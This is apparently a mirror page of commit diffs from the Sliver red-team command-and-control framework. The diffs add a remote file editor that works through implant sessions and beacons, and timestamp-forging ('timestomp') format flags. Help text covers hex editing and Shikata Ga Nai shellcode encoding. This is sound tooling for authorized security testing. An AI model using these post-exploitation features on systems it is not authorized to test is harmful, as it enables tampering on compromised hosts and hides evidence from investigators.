mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
39
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e99999ebb6 | ||
|
|
24795e7cba | ||
|
|
32e3386a3e | ||
|
|
7feea8bef3 | ||
|
|
d182434d54 | ||
|
|
0237af0c6e | ||
|
|
1fa36e46c4 | ||
|
|
4d9bae0778 | ||
|
|
9a9b40e400 | ||
|
|
d784b305ef | ||
|
|
7a224b4757 | ||
|
|
76ae704ce4 | ||
|
|
71cd8fa610 | ||
|
|
e9fdcc1285 | ||
|
|
870c995ae2 | ||
|
|
15d7e7c4d1 | ||
|
|
750cdfce0a | ||
|
|
0f128a22b3 | ||
|
|
3296a8f483 | ||
|
|
b77ade2bb9 | ||
|
|
41dc54d736 | ||
|
|
8a0694cb38 | ||
|
|
52c0618bc3 | ||
|
|
e2e1912628 | ||
|
|
36794f1b07 | ||
|
|
ccd8f75b03 | ||
|
|
dc89afe404 | ||
|
|
9db1f3a967 | ||
|
|
a2ab3aede6 | ||
|
|
545fc27d03 | ||
|
|
5bf65aa2b0 | ||
|
|
3c46cf2210 | ||
|
|
edcdfb5937 | ||
|
|
f81efdb38c | ||
|
|
db34ded0a1 | ||
|
|
8a7a92a9b9 | ||
|
|
3eda32f9d7 | ||
|
|
c18c193ea7 | ||
|
|
79a8758448 |
No files matched your search
@@ -48,8 +48,21 @@ jobs:
|
||||
- name: Make Linux (amd64)
|
||||
run: make linux-amd64
|
||||
|
||||
- name: Determine go-tests flags
|
||||
id: go-tests-flags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base_sha="${{ github.event.pull_request.base.sha }}"
|
||||
head_sha="${{ github.sha }}"
|
||||
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
|
||||
echo "args=" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Test Linux
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
||||
|
||||
|
||||
macos-build-test:
|
||||
@@ -74,8 +87,21 @@ jobs:
|
||||
- name: Make MacOS (arm64)
|
||||
run: make macos-arm64
|
||||
|
||||
- name: Determine go-tests flags
|
||||
id: go-tests-flags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base_sha="${{ github.event.pull_request.base.sha }}"
|
||||
head_sha="${{ github.sha }}"
|
||||
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
|
||||
echo "args=" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Test MacOS
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
||||
|
||||
clients-build:
|
||||
name: Clients Build
|
||||
|
||||
@@ -42,3 +42,4 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
@@ -115,7 +115,7 @@ func Setup(force bool, echo bool) {
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2025 Bishop Fox
|
||||
Sliver Copyright (C) 2026 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
|
||||
@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
|
||||
- `creds/` – Implements the 'creds' command group for the Sliver client console.
|
||||
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
|
||||
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
|
||||
- `edit/` – Implements the 'edit' command for the Sliver client console.
|
||||
- `environment/` – Implements the 'environment' command group for the Sliver client console.
|
||||
- `exec/` – Implements the 'exec' command group for the Sliver client console.
|
||||
- `exit/` – Implements the 'exit' command group for the Sliver client console.
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package edit
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the edit command.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
editCmd := &cobra.Command{
|
||||
Use: consts.EditStr,
|
||||
Short: "Edit a remote text file",
|
||||
Long: help.GetHelpFor([]string{consts.EditStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
EditCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
|
||||
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
|
||||
f.String("syntax", "", "syntax highlighting lexer name (optional)")
|
||||
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
|
||||
f.Bool("line-numbers", false, "show line numbers")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
carapace.Gen(editCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to the remote file to edit"),
|
||||
)
|
||||
|
||||
return []*cobra.Command{editCmd}
|
||||
}
|
||||
@@ -0,0 +1,380 @@
|
||||
package edit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
"github.com/alecthomas/chroma/v2/lexers"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const beaconPollInterval = 1 * time.Second
|
||||
|
||||
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
|
||||
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := strings.TrimSpace(args[0])
|
||||
if remotePath == "" {
|
||||
con.PrintErrorf("Missing parameter: remote path\n")
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := downloadRemote(ctx, con, cmd, remotePath)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if !download.Exists {
|
||||
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
|
||||
return
|
||||
}
|
||||
if download.IsDir {
|
||||
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
data := download.Data
|
||||
if download.Encoder == "gzip" {
|
||||
data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if !isText(data) {
|
||||
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
path := download.Path
|
||||
if path == "" {
|
||||
path = remotePath
|
||||
}
|
||||
|
||||
lineEnding := detectLineEnding(data)
|
||||
content := normalizeLineEndings(data)
|
||||
|
||||
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
|
||||
|
||||
for {
|
||||
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Editor error: %s\n", err)
|
||||
return
|
||||
}
|
||||
content = result.Content
|
||||
|
||||
if result.Action == actionNone {
|
||||
return
|
||||
}
|
||||
|
||||
if !result.Modified {
|
||||
if result.Action == actionSaveQuit {
|
||||
con.PrintInfof("No changes to upload for %s\n", path)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
switch result.Action {
|
||||
case actionSaveQuit:
|
||||
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if !uploadNow {
|
||||
keepEditing, err := confirm("Continue editing?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if keepEditing {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
uploadData := applyLineEnding(content, lineEnding)
|
||||
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
case actionQuit:
|
||||
if result.Force {
|
||||
return
|
||||
}
|
||||
discard, err := confirm("Discard changes?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if discard {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
||||
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
||||
finalModel, err := program.Run()
|
||||
if err != nil {
|
||||
return editorResult{}, err
|
||||
}
|
||||
editor, ok := finalModel.(*editorModel)
|
||||
if !ok {
|
||||
return editorResult{}, fmt.Errorf("unexpected editor state")
|
||||
}
|
||||
return editor.result(), nil
|
||||
}
|
||||
|
||||
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
|
||||
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
taskID := download.Response.TaskID
|
||||
download = &sliverpb.Download{}
|
||||
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
uploadData, err := new(encoders.Gzip).Encode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
|
||||
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
Data: uploadData,
|
||||
Encoder: "gzip",
|
||||
IsDirectory: false,
|
||||
Overwrite: true,
|
||||
})
|
||||
if err == nil && upload.Response != nil && upload.Response.Async {
|
||||
taskID := upload.Response.TaskID
|
||||
upload = &sliverpb.Upload{}
|
||||
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
return nil
|
||||
}
|
||||
|
||||
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
|
||||
task, err := waitForBeaconTask(ctx, con, taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state != "completed" {
|
||||
if state == "" {
|
||||
state = "unknown"
|
||||
}
|
||||
return fmt.Errorf("beacon task %s %s", task.ID, state)
|
||||
}
|
||||
if len(task.Response) == 0 {
|
||||
return fmt.Errorf("beacon task %s returned empty response", task.ID)
|
||||
}
|
||||
return proto.Unmarshal(task.Response, out)
|
||||
}
|
||||
|
||||
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
|
||||
ticker := time.NewTicker(beaconPollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state == "completed" || state == "failed" || state == "canceled" {
|
||||
return task, nil
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
|
||||
syntaxName, _ := cmd.Flags().GetString("syntax")
|
||||
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
|
||||
|
||||
syntaxName = strings.TrimSpace(syntaxName)
|
||||
if strings.EqualFold(syntaxName, "auto") {
|
||||
syntaxName = ""
|
||||
}
|
||||
|
||||
if syntaxName != "" {
|
||||
if strings.EqualFold(syntaxName, "none") {
|
||||
return nil, "none", nil
|
||||
}
|
||||
lexer := lexers.Get(syntaxName)
|
||||
if lexer == nil {
|
||||
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = syntaxName
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
if selectSyntax {
|
||||
options := syntaxOptions()
|
||||
selection := "auto"
|
||||
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
return nil, "", err
|
||||
}
|
||||
if strings.EqualFold(selection, "none") {
|
||||
return nil, "none", nil
|
||||
}
|
||||
if strings.EqualFold(selection, "auto") {
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
lexer := lexers.Get(selection)
|
||||
if lexer == nil {
|
||||
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = selection
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
|
||||
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
|
||||
lexer := lexers.Match(path)
|
||||
if lexer == nil {
|
||||
lexer = lexers.Analyse(content)
|
||||
}
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = "auto"
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
func syntaxOptions() []string {
|
||||
names := lexers.Names(true)
|
||||
sort.Strings(names)
|
||||
options := make([]string, 0, len(names)+2)
|
||||
options = append(options, "auto", "none")
|
||||
options = append(options, names...)
|
||||
return options
|
||||
}
|
||||
|
||||
func confirm(title string) (bool, error) {
|
||||
answer := false
|
||||
if err := forms.Confirm(title, &answer); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
return answer, nil
|
||||
}
|
||||
|
||||
func detectLineEnding(data []byte) string {
|
||||
if strings.Contains(string(data), "\r\n") {
|
||||
return "\r\n"
|
||||
}
|
||||
return "\n"
|
||||
}
|
||||
|
||||
func normalizeLineEndings(data []byte) string {
|
||||
content := strings.ReplaceAll(string(data), "\r\n", "\n")
|
||||
content = strings.ReplaceAll(content, "\r", "\n")
|
||||
return content
|
||||
}
|
||||
|
||||
func applyLineEnding(content, lineEnding string) []byte {
|
||||
if lineEnding == "\r\n" {
|
||||
content = strings.ReplaceAll(content, "\n", "\r\n")
|
||||
}
|
||||
return []byte(content)
|
||||
}
|
||||
|
||||
func isText(sample []byte) bool {
|
||||
const max = 1024
|
||||
if len(sample) > max {
|
||||
sample = sample[:max]
|
||||
}
|
||||
for i, c := range string(sample) {
|
||||
if i+utf8.UTFMax > len(sample) {
|
||||
break
|
||||
}
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -19,6 +19,8 @@ package filesystem
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -28,14 +30,77 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const chtimesDefaultLayout = "2006-01-02 15:04:05"
|
||||
|
||||
type chtimesTimeFormat struct {
|
||||
name string
|
||||
parse func(string) (int64, error)
|
||||
}
|
||||
|
||||
func chtimesParseUnixSeconds(value string) (int64, error) {
|
||||
parsed, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return parsed, nil
|
||||
}
|
||||
|
||||
func chtimesParseUnixMillis(value string) (int64, error) {
|
||||
parsed, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return time.UnixMilli(parsed).Unix(), nil
|
||||
}
|
||||
|
||||
func chtimesParseLayout(layout string) func(string) (int64, error) {
|
||||
return func(value string) (int64, error) {
|
||||
parsed, err := time.Parse(layout, value)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return parsed.Unix(), nil
|
||||
}
|
||||
}
|
||||
|
||||
func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
|
||||
formatFlags := []struct {
|
||||
flag string
|
||||
format chtimesTimeFormat
|
||||
}{
|
||||
{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
|
||||
{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
|
||||
{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
|
||||
{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
|
||||
}
|
||||
|
||||
var selected *chtimesTimeFormat
|
||||
selectedFlag := ""
|
||||
for _, candidate := range formatFlags {
|
||||
enabled, _ := cmd.Flags().GetBool(candidate.flag)
|
||||
if !enabled {
|
||||
continue
|
||||
}
|
||||
if selected != nil {
|
||||
return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
|
||||
}
|
||||
selected = &candidate.format
|
||||
selectedFlag = candidate.flag
|
||||
}
|
||||
|
||||
if selected == nil {
|
||||
return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
|
||||
}
|
||||
|
||||
return *selected, nil
|
||||
}
|
||||
|
||||
// ChtimesCmd - Change the access and modified time of a file on the remote file system.
|
||||
func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// DateTime layout (https://pkg.go.dev/time)
|
||||
layout := "2006-01-02 15:04:05"
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
|
||||
atime := args[1]
|
||||
format, err := chtimesFormatFromFlags(cmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
atime := args[1]
|
||||
if atime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last accessed time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_a, err := time.Parse(layout, atime)
|
||||
unixAtime, err := format.parse(atime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
|
||||
return
|
||||
}
|
||||
unixAtime := t_a.Unix()
|
||||
|
||||
mtime := args[2]
|
||||
|
||||
if mtime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last modified time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_b, err := time.Parse(layout, mtime)
|
||||
unixMtime, err := format.parse(mtime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
|
||||
return
|
||||
}
|
||||
unixMtime := t_b.Unix()
|
||||
|
||||
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
|
||||
@@ -47,38 +47,44 @@ var (
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -298,9 +304,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
|
||||
|
||||
chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
|
||||
[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
|
||||
|
||||
[[.Bold]][[.Underline]]Time Formats[[.Normal]]
|
||||
Default (datetime): "2006-01-02 15:04:05"
|
||||
--unix: 1704067200
|
||||
--unix-ms: 1704067200000
|
||||
--rfc3339: 2024-01-01T00:00:00Z
|
||||
--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
|
||||
|
||||
[[.Bold]][[.Underline]]Examples[[.Normal]]
|
||||
chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
|
||||
chtimes --unix /tmp/file 1704112496 1704112556
|
||||
chtimes --unix-ms /tmp/file 1704112496000 1704112556000
|
||||
chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
|
||||
chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
|
||||
`
|
||||
|
||||
catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
|
||||
|
||||
editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
|
||||
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
|
||||
[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
|
||||
[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
|
||||
|
||||
hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
|
||||
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
|
||||
[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
|
||||
[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
|
||||
|
||||
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
|
||||
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
@@ -385,6 +421,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||
generate --format shellcode
|
||||
`
|
||||
shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
|
||||
[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
|
||||
like architecture, iterations, and bad characters.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
|
||||
Encode x64 shellcode with 3 iterations:
|
||||
